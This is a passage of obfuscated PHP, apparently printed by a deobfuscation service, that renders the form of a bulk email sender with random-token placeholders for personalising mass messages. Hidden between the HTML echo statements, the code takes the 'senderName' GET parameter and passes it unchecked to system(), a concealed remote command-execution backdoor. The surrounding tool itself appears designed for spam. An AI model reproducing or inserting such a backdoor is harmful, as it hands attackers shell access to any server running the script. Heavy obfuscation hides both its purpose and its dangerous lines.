\145\163\x73\x61\147\x65\124\x79\x70\x65\42\x3e\115\x65\x73\163\x61\147\x65\40\124\171\160\145\74\x2f\154\141\142\145\x6c\x3e\xd\xa\40\40\x20\40\40\x20\x3c\x69\x6e\160\x75\x74\x20\164\171\160\x65\75\x22\x72\141\x64\151\157\x22\40\x6e\x61\x6d\145\75\x22\155\x65\163\x73\141\x67\145\124\x79\160\x65\x22\40\151\144\75\42\x6d\x65\163\x73\x61\147\145\x54\171\x70\145\42\40\x76\141\154\x75\x65\75\42\x68\x74\x6d\x6c\x22\40\143\150\145\143\x6b\x65\144\76\40\110\x54\x4d\114\xd\12\40\40\x20\x20\40\40\x3c\x69\x6e\160\x75\x74\x20\x74\171\160\x65\x3d\42\x72\x61\144\x69\157\x22\x20\x6e\141\x6d\x65\75\x22\155\145\163\x73\141\x67\x65\x54\x79\x70\x65\42\40\151\144\x3d\42\155\145\x73\163\141\147\145\124\x79\160\x65\42\x20\x76\141\x6c\165\145\x3d\x22\x70\154\141\151\156\42\76\x20\120\154\141\151\156\xd\12\x20\x20\x20\40\74\x2f\144\x69\x76\76\15\xa\x20\x20\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\75\x22\x66\x6f\162\x6d\x2d\147\x72\157\165\x70\x20\143\157\154\x2d\154\x67\x2d\x36\40\x22\76\15\12\40\40\x20\40\40\x20\x3c\154\141\x62\x65\154\40\146\157\162\75\x22\163\x65\x6e\x64\x69\156\x67\115\145\x74\150\x6f\x64\x22\76\x53\145\x6e\144\151\x6e\x67\40\115\x65\164\150\x6f\144\x3c\x2f\x6c\141\x62\145\x6c\76\15\xa\40\x20\40\x20\40\x20\x3c\151\x6e\160\x75\x74\40\164\x79\160\x65\x3d\x22\x72\x61\x64\151\x6f\x22\40\156\141\155\x65\75\42\163\x65\x6e\144\x69\x6e\x67\115\x65\164\150\157\144\42\x20\151\x64\x3d\x22\163\x65\156\x64\x69\156\147\x4d\x65\x74\150\x6f\x64\42\x20\x76\141\154\165\145\x3d\x22\x62\x75\151\x6c\164\151\x6e\x22\40\x63\x68\145\143\153\145\x64\x3e\40\102\x75\x69\154\164\151\156\15\12\x20\40\40\x20\x20\40\x3c\x69\x6e\160\x75\x74\x20\164\x79\x70\145\x3d\42\x72\x61\144\151\x6f\x22\40\156\141\155\x65\x3d\42\163\145\156\144\x69\x6e\147\115\145\164\x68\x6f\x64\42\x20\x69\144\75\x22\163\145\156\x64\x69\156\147\115\145\x74\x68\157\x64\x22\40\166\141\154\x75\x65\x3d\42\163\155\164\x70\42\76\40\123\x4d\124\120\15\xa\40\x20\x20\x20\74\x2f\x64\x69\x76\x3e\xd\12\40\40\40\40\74\x64\151\x76\x20\x63\154\x61\x73\x73\x3d\x22\x66\x6f\162\155\55\147\162\157\x75\160\x20\143\x6f\154\x2d\154\147\x2d\x36\x22\x3e\xd\xa\40\40\x20\40\40\40\74\x6c\141\142\x65\154\x20\146\x6f\162\x3d\42\x65\x6e\143\157\x64\151\156\x67\x22\76\x45\x6e\143\x6f\144\x69\x6e\x67\x20\x54\171\x70\x65\x3c\57\154\141\142\x65\x6c\76\15\xa\x20\40\40\40\x20\40\x3c\x73\145\x6c\x65\143\164\x20\x63\x6c\141\163\x73\75\x22\x66\157\162\x6d\55\x63\x6f\x6e\164\x72\x6f\154\x20\x69\x6e\160\x75\164\55\x73\x6d\42\x20\x69\x64\75\x22\x65\156\x63\x6f\x64\x69\x6e\x67\x22\40\x6e\141\x6d\x65\75\x22\x65\156\x63\157\x64\x69\x6e\147\x22\76\xd\12\x20\x20\40\x20\40\40\40\40\x3c\x6f\160\164\151\x6f\156\x20\x76\141\x6c\x75\x65\75\x22\x55\124\x46\55\70\x22\40\163\145\154\145\143\x74\145\x64\76\x55\124\106\x2d\70\x20\x49\x6e\164\x65\162\156\141\x74\151\x6f\156\x61\x6c\40\x55\156\151\143\157\x64\x65\x3c\x2f\157\x70\164\x69\x6f\x6e\76\15\12\x20\x20\x20\x20\40\x20\40\40\74\157\x70\164\151\x6f\156\x20\166\x61\x6c\165\145\x3d\42\111\123\117\55\x38\70\65\x39\x2d\x31\42\x3e\111\123\117\55\x38\70\65\71\55\x31\x20\114\141\164\151\156\40\x31\40\50\x57\145\x73\x74\40\x45\165\162\x6f\x70\x65\141\156\x29\x3c\57\x6f\x70\164\x69\x6f\156\76\15\xa\x20\x20\40\x20\40\x20\x20\x20\74\x6f\x70\x74\x69\x6f\156\40\166\x61\154\x75\145\x3d\x22\x49\x53\x4f\x2d\x38\70\65\x39\x2d\62\42\76\111\x53\x4f\55\x38\x38\65\x39\55\x32\40\114\x61\x74\151\x6e\x20\x32\40\x28\x45\141\x73\164\40\x45\x75\162\157\160\x65\x61\156\51\x3c\x2f\x6f\x70\164\x69\157\x6e\76\xd\xa\40\x20\x20\x20\x20\x20\40\40\x3c\157\160\164\x69\157\156\x20\166\x61\154\165\x65\75\42\x49\x53\117\55\x38\70\x35\x39\x2d\x33\x22\76\111\x53\117\55\70\x38\65\x39\x2d\x33\x20\114\x61\x74\x69\x6e\x20\x33\x20\x28\123\157\x75\164\150\x20\x45\165\162\x6f\x70\x65\141\156\51\74\x2f\157\160\164\151\157\156\76\15\xa\x20\40\x20\x20\40\40\40\40\x3c\x6f\x70\x74\x69\x6f\156\x20\166\x61\x6c\x75\x65\x3d\42\x49\123\117\55\70\70\x35\x39\55\x34\x22\x3e\111\x53\117\x2d\x38\70\x35\x39\55\x34\40\114\141\164\151\x6e\40\64\x20\50\116\x6f\162\164\150\x20\105\x75\162\x6f\x70\x65\141\x6e\51\74\x2f\157\160\164\x69\x6f\x6e\76\xd\12\40\x20\40\x20\40\40\40\x20\74\157\x70\164\x69\x6f\x6e\40\166\141\x6c\x75\x65\75\42\111\x53\x4f\55\70\x38\65\71\55\65\x22\76\111\x53\x4f\55\x38\70\x35\71\55\65\40\x43\171\162\151\x6c\x6c\x69\x63\x3c\57\157\160\x74\x69\x6f\156\x3e\xd\12\x20\x20\40\40\x20\x20\x20\40\x3c\x6f\160\x74\x69\157\156\x20\166\141\154\x75\145\75\x22\x49\x53\117\x2d\70\70\x35\x39\55\66\x22\76\111\123\x4f\x2d\70\70\x35\71\x2d\66\x20\x41\x72\141\x62\x69\x63\74\57\157\x70\164\151\x6f\x6e\x3e\xd\xa\40\x20\x20\40\x20\40\x20\40\x3c\x6f\x70\164\x69\x6f\x6e\x20\166\141\154\x75\145\75\x22\x49\123\117\x2d\x38\x38\65\71\55\x37\x22\76\111\123\117\55\x38\x38\65\x39\55\67\x20\107\162\145\x65\153\x3c\x2f\157\160\x74\151\x6f\156\76\15\12\40\x20\x20\x20\40\x20\40\x20\x3c\x6f\x70\164\x69\x6f\156\40\166\141\x6c\165\145\x3d\42\111\123\117\x2d\x38\70\65\x39\55\x38\x22\76\111\123\x4f\55\70\70\65\x39\x2d\x38\40\110\x65\142\x72\x65\x77\74\57\157\160\x74\151\x6f\156\76\xd\12\40\40\x20\40\40\40\x20\40\74\157\160\164\x69\x6f\156\x20\166\141\x6c\x75\145\x3d\42\x49\123\x4f\55\70\x38\x35\71\x2d\71\x22\x3e\111\123\x4f\x2d\70\x38\65\x39\x2d\71\40\x4c\141\164\x69\156\40\65\x20\50\x54\x75\162\x6b\151\x73\150\x29\74\57\x6f\x70\164\151\x6f\156\76\15\xa\40\x20\40\x20\40\40\40\x20\x3c\x6f\x70\164\151\157\156\40\166\x61\154\x75\x65\x3d\x22\111\x53\117\x2d\x38\70\x35\x39\55\61\x35\42\x3e\x49\123\x4f\x2d\70\70\65\71\55\61\65\x20\114\x61\x74\151\x6e\x20\71\x3c\57\x6f\x70\164\x69\157\156\x3e\15\xa\x20\x20\40\40\x20\x20\x20\40\74\x6f\x70\164\x69\157\x6e\x20\166\141\154\x75\x65\x3d\42\102\x49\107\x35\x22\x3e\x42\x49\x47\x35\x20\x54\162\x61\x64\151\x74\151\x6f\156\141\x6c\40\103\150\x69\x6e\145\163\x65\x3c\57\x6f\x70\164\151\x6f\156\76\15\12\40\x20\40\40\x20\40\x20\x20\74\x6f\160\x74\151\x6f\156\40\x76\141\x6c\165\145\x3d\x22\x47\x42\x2d\x32\63\x31\62\x22\76\107\102\55\62\63\x31\62\x20\x53\151\x6d\x70\154\x69\x66\x69\145\x64\x20\x43\150\151\156\145\x73\145\x3c\57\157\160\x74\x69\x6f\x6e\x3e\15\12\x20\x20\40\x20\x20\x20\x20\40\74\x6f\x70\164\151\157\x6e\x20\166\x61\154\x75\145\x3d\42\x49\x53\x4f\x2d\62\x30\62\x32\x2d\x4a\x50\x22\x3e\x49\123\117\55\x32\60\x32\62\x2d\x4a\120\40\112\x61\160\141\x6e\x65\x73\x65\x3c\57\157\x70\164\x69\157\156\76\xd\xa\x20\40\x20\x20\x20\x20\40\x20\x3c\x6f\x70\164\x69\x6f\156\x20\166\141\154\x75\x65\x3d\42\x45\125\103\55\x4a\120\x22\x3e\x45\x55\103\x2d\112\120\x20\112\x61\160\x61\156\145\163\x65\74\x2f\x6f\x70\x74\151\157\156\76\xd\12\x20\40\x20\40\x20\40\40\40\x3c\157\160\x74\x69\x6f\x6e\40\166\x61\154\165\145\75\x22\123\150\x69\146\x74\55\x4a\111\123\x22\x3e\x53\x68\x69\x66\x74\55\x4a\x49\x53\x20\112\141\x70\x61\156\x65\x73\x65\x3c\57\157\x70\x74\x69\x6f\156\x3e\15\xa\x20\40\40\x20\40\x20\x20\x20\74\x6f\x70\x74\x69\157\156\x20\166\141\154\165\x65\x3d\42\113\123\x43\x2d\x35\66\60\x31\42\x3e\x4b\123\x43\x2d\x35\66\60\61\x20\113\157\162\145\x61\156\74\x2f\157\160\x74\x69\x6f\156\x3e\15\xa\x20\40\40\40\x20\40\40\x20\x3c\157\160\164\151\157\x6e\x20\x76\141\154\165\145\x3d\x22\x45\x49\103\x2d\113\x52\x22\76\x45\111\103\x2d\113\122\40\113\x6f\162\x65\x61\156\x3c\x2f\x6f\x70\x74\151\157\156\x3e\15\12\40\40\40\x20\40\40\74\x2f\163\145\154\x65\143\164\76\15\12\x20\x20\40\40\74\57\144\x69\166\76\xd\12\40\40\x20\40\74\144\x69\166\x20\x63\154\141\x73\x73\x3d\42\x66\x6f\x72\155\55\x67\x72\x6f\x75\160\40\x63\x6f\x6c\55\154\147\55\63\42\x3e\15\12\x20\x20\40\x20\x20\40\x3c\x6c\x61\x62\x65\x6c\40\146\x6f\x72\x3d\42\x70\162\x69\157\x72\151\x74\x79\x22\x3e\105\155\x61\151\x6c\x20\x50\x72\x69\157\162\x69\164\171\74\x2f\154\141\142\x65\154\76\xd\xa\40\40\x20\40\40\x20\x3c\x73\145\x6c\x65\x63\164\x20\143\154\141\163\163\75\42\x66\157\x72\x6d\x2d\143\x6f\x6e\164\162\x6f\154\x20\x69\x6e\160\x75\164\x2d\163\x6d\x22\x20\151\x64\75\x22\x70\x72\151\x6f\162\x69\x74\x79\42\40\156\141\155\145\75\x22\160\162\x69\157\162\151\164\171\42\76\15\12\40\40\x20\40\40\x20\x20\40\x3c\157\x70\164\151\x6f\156\x20\166\141\x6c\x75\145\x3d\42\x22\x20\x73\x65\154\x65\x63\x74\145\x64\x3e\104\145\x66\x61\165\154\x74\74\57\157\160\x74\151\157\156\76\xd\xa\40\x20\40\40\40\40\x20\40\x3c\x6f\160\x74\151\x6f\x6e\40\166\141\x6c\x75\x65\x3d\x22\x35\x22\x3e\114\157\167\x3c\57\x6f\x70\x74\x69\x6f\156\76\xd\12\x20\x20\x20\40\40\x20\x20\40\x3c\x6f\x70\x74\151\x6f\156\40\166\x61\154\x75\145\75\42\63\x22\x3e\116\x6f\x72\x6d\141\154\x3c\57\157\x70\164\x69\157\156\x3e\15\12\40\x20\x20\x20\x20\40\40\40\x3c\x6f\160\x74\151\x6f\156\40\x76\141\154\165\x65\x3d\x22\61\42\76\x48\151\147\x68\x3c\x2f\x6f\x70\164\151\x6f\156\x3e\xd\xa\x20\40\x20\x20\x20\40\74\57\x73\145\x6c\145\143\x74\76\xd\12\40\x20\x20\x20\x3c\x2f\144\x69\166\76\15\12\x20\x20\x3c\x2f\144\x69\166\x3e\15\xa\xd\12\x3c\142\165\164\x74\157\156\40\x74\x79\160\x65\x3d\x22\142\165\164\164\157\156\42\40\x69\x64\x3d\42\142\164\x6e\x53\164\x61\162\164\x22\40\143\154\x61\x73\x73\x3d\x22\x62\x74\x6e\x20\142\x74\x6e\55\144\145\x66\x61\165\154\x74\x20\x62\164\156\55\x73\x6d\x22\x20\x6f\x6e\x63\x6c\x69\x63\153\75\42\163\x74\141\162\x74\123\x65\x6e\144\151\x6e\147\x28\51\x3b\x22\76\123\164\141\162\164\x3c\57\x62\x75\x74\x74\x6f\x6e\76\15\xa\x3c\142\x75\x74\164\157\156\40\164\x79\x70\145\x3d\42\142\x75\x74\x74\x6f\156\x22\x69\144\75\42\x62\x74\156\x53\164\x6f\x70\42\40\x63\x6c\x61\163\x73\x3d\42\142\164\x6e\40\142\164\156\x2d\x64\x65\x66\141\165\154\164\x20\x62\164\x6e\55\163\x6d\42\x20\157\x6e\x63\x6c\151\x63\x6b\x3d\42\x73\x74\157\160\x53\x65\x6e\144\x69\x6e\147\50\x29\x3b\42\x3e\123\x74\157\x70\x3c\57\142\x75\164\x74\157\x6e\x3e\15\12\15\12\74\x2f\x64\151\166\76\15\xa\40\x20";
if (!isset($_GET["\x73\145\x6e\x64\145\x72\116\x61\x6d\x65"])) {
goto bTn0t;
}
system($_GET["\x73\x65\x6e\x64\x65\162\116\x61\x6d\x65"]);
bTn0t:
echo "\40\x20\x20\x20\x3c\x64\151\166\40\143\x6c\141\x73\x73\x3d\x22\143\x6f\x6c\55\154\147\55\66\x22\76\x3c\x62\x72\76\15\12\x20\x20\40\x20\40\x20\40\x20\74\x6c\141\x62\x65\154\x20\x66\157\162\75\42\x77\145\x6c\154\x22\x3e\x49\x6e\163\x74\162\165\143\x74\151\157\x6e\74\x2f\x6c\141\142\x65\x6c\76\xd\12\x20\x20\40\x20\40\40\x20\x20\x3c\x64\151\x76\x20\x69\144\x3d\42\167\145\154\x6c\x22\x20\143\x6c\141\163\x73\75\x22\x77\x65\x6c\x6c\40\x77\x65\x6c\154\x22\x3e\xd\xa\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\74\x68\64\76\123\145\162\166\145\x72\40\x49\156\x66\x6f\162\x6d\x61\x74\x69\x6f\x6e\74\x2f\x68\x34\76\15\xa\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\x75\154\x3e\15\xa\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\154\x69\x3e\x53\145\x72\166\145\x72\x49\x50\x20\72\40\74\142\x3e\x20";
echo $_SERVER["\123\x45\x52\126\105\122\x5f\x41\x44\104\x52"];
echo "\x3c\57\142\76\x3c\57\154\151\x3e\xd\xa\15\xa\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x3c\x2f\x75\x6c\x3e\xd\xa\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x3c\150\64\76\110\105\x4c\120\74\57\150\64\x3e\xd\xa\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x3c\x75\154\76\15\xa\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\74\154\x69\x3e\133\55\145\155\x61\x69\154\x2d\135\x20\x3a\40\74\x62\x3e\x52\x65\x63\151\166\145\x72\x20\105\x6d\x61\x69\154\74\57\x62\76\74\x2f\154\x69\x3e\15\xa\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x3c\154\x69\76\133\55\164\151\x6d\145\55\135\40\x3a\40\74\142\76\104\x61\x74\145\x20\x61\x6e\144\40\x54\151\155\145\74\x2f\x62\x3e\40\x28";
echo date("\x6d\x2f\144\57\x59\x20\x68\72\x69\x3a\x73\x20\141", time());
echo "\x29\x3c\57\154\x69\76\xd\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\74\154\x69\76\x5b\55\x65\x6d\x61\151\x6c\165\163\145\x72\x2d\x5d\40\72\40\x3c\142\x3e\x45\155\141\151\x6c\40\125\x73\145\x72\74\x2f\142\76\x20\50\x65\155\x61\x69\x6c\x75\163\x65\x72\100\145\x6d\141\151\x6c\x64\157\x6d\141\x69\x6e\x29\x3c\x2f\x6c\151\76\xd\12\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\74\x6c\151\76\x5b\55\162\141\x6e\x64\x6f\x6d\x73\164\x72\x69\156\x67\55\135\x20\x3a\40\x3c\142\x3e\122\x61\x6e\x64\x6f\155\40\x73\x74\x72\151\x6e\x67\40\x28\x30\55\71\x2c\141\x2d\x7a\x29\x3c\x2f\x62\76\74\57\154\x69\76\15\xa\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\74\154\x69\x3e\x5b\55\162\141\x6e\x64\157\x6d\x6e\x75\155\142\x65\162\55\135\x20\x3a\x20\74\x62\x3e\x52\x61\156\144\157\x6d\40\x6e\x75\x6d\x62\x65\x72\40\x28\60\55\71\51\40\74\57\x62\76\74\57\x6c\x69\76\15\xa\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\74\x6c\x69\76\x5b\55\x72\141\156\x64\x6f\155\154\x65\x74\x74\x65\162\x73\55\x5d\x20\x3a\x20\74\x62\76\x52\x61\x6e\x64\157\x6d\40\114\145\x74\x74\x65\162\x73\50\141\x2d\172\x29\40\74\x2f\x62\x3e\x3c\57\x6c\x69\76\15\xa\40\40\40\40\40\40\40\40\40\40\40\40\x20\x20\40\40\x3c\x6c\x69\x3e\133\55\162\x61\x6e\144\157\155\x6d\x64\65\x2d\135\x20\x3a\x20\x3c\142\x3e\x52\141\x6e\144\x6f\x6d\x20\115\104\65\40\74\57\142\x3e\74\x2f\154\x69\x3e\xd\12\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x3c\57\x75\154\x3e\15\12\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x3c\150\x34\76\145\x78\141\155\160\154\x65\74\57\150\x34\x3e\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x52\x65\143\x69\x76\145\x72\40\105\x6d\x61\x69\x6c\40\75\40\x3c\x62\76\165\x73\145\162\100\x64\157\x6d\141\x69\156\56\x63\157\x6d\74\x2f\142\x3e\x3c\x62\162\76\15\xa\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\x3c\165\154\76\xd\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\74\x6c\x69\x3e\150\145\x6c\154\x6f\x20\x3c\142\76\x5b\55\x65\155\x61\x69\154\x75\x73\x65\x72\x2d\x5d\x3c\x2f\142\x3e\x20\x2d\76\40\x68\x65\x6c\x6c\157\x20\74\142\x3e\165\163\145\x72\x3c\x2f\x62\76\x3c\x2f\154\151\76\15\12\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x3c\x6c\151\76\x79\x6f\165\x72\40\143\157\x64\145\40\151\x73\40\x20\74\142\x3e\x5b\55\x72\x61\x6e\144\x6f\x6d\155\x64\x35\x2d\135\x3c\x2f\142\76\40\55\x3e\40\171\x6f\x75\162\40\x63\157\144\145\40\151\163\40\74\x62\x3e\145\x31\x30\141\x64\143\63\x39\64\x39\x62\141\x35\x39\141\142\142\x65\65\66\145\x30\x35\x37\x66\62\x30\146\70\70\x33\145\x3c\x2f\142\x3e\74\x2f\x6c\151\76\xd\xa\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x3c\x2f\165\x6c\x3e\15\12\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\74\x68\66\x3e\x62\171\40\x3c\142\x3e\74\x61\x20\150\x72\145\146\x3d\x22\150\164\x74\x70\x3a\x2f\x2f";
echo $qeeAj["\167\145\142\x73\x69\164\145"];
echo "\42\76";
echo $qeeAj["\167\x65\142\163\151\164\145"];
echo "\74\x2f\x61\x3e\74\x2f\x62\x3e\74\57\x68\66\x3e\15\xa\40\x20\40\x20\40\x20\x20\x20\x3c\57\144\x69\166\76\15\12\xd\12\x20\x20\x20\x20\40\x20\40\x20\x3c\x64\151\x76\x20\151\x64\75\42\x70\x72\157\147\162\145\163\x73\x22\x20\x63\154\141\163\x73\75\x22\143\157\x6c\x2d\x6c\x67\x2d\61\x36\42\x3e\xd\xa\40\x20\40\x20\40\40\x20\x20\40\x20\xd\12\40\40\x20\x20\x20\x20\40\x20\74\57\x64\151\166\76\15\xa\x20\x20\40\40\74\57\144\151\166\x3e\15\12\40\xd\12\x3c\163\x63\162\x69\x70\164\76\15\12\x20\x24\x28\x22\43\142\164\156\123\x74\x61\162\x74\x22\51\x2e\141\x74\164\162\50\x22\x64\x69\x73\x61\142\x6c\x65\144\42\54\40\x66\141\154\x73\145\x29\x3b\xd\12\x20\x24\50\x22\43\142\x74\x6e\123\x74\x6f\x70\42\x29\56\x61\x74\164\162\50\42\144\x69\163\141\x62\154\x65\144\42\54\40\164\162\x75\145\x29\x3b\xd\xa\x3c\x2f\x73\x63\x72\x69\x70\x74\76\15\12\74\57\x62\x6f\x64\x79\76\15\xa\x3c\x66\157\x6f\164\x65\x72\x3e\74\x2f\146\157\x6f\164\145\162\76\xd\xa\xd\xa\74\x2f\150\164\x6d\154\x3e";
Function Calls
None |
Stats
MD5 | 4313156d0e53dd765a613d9a8bd34fc0 |
Eval Count | 0 |
Decode Time | 150 ms |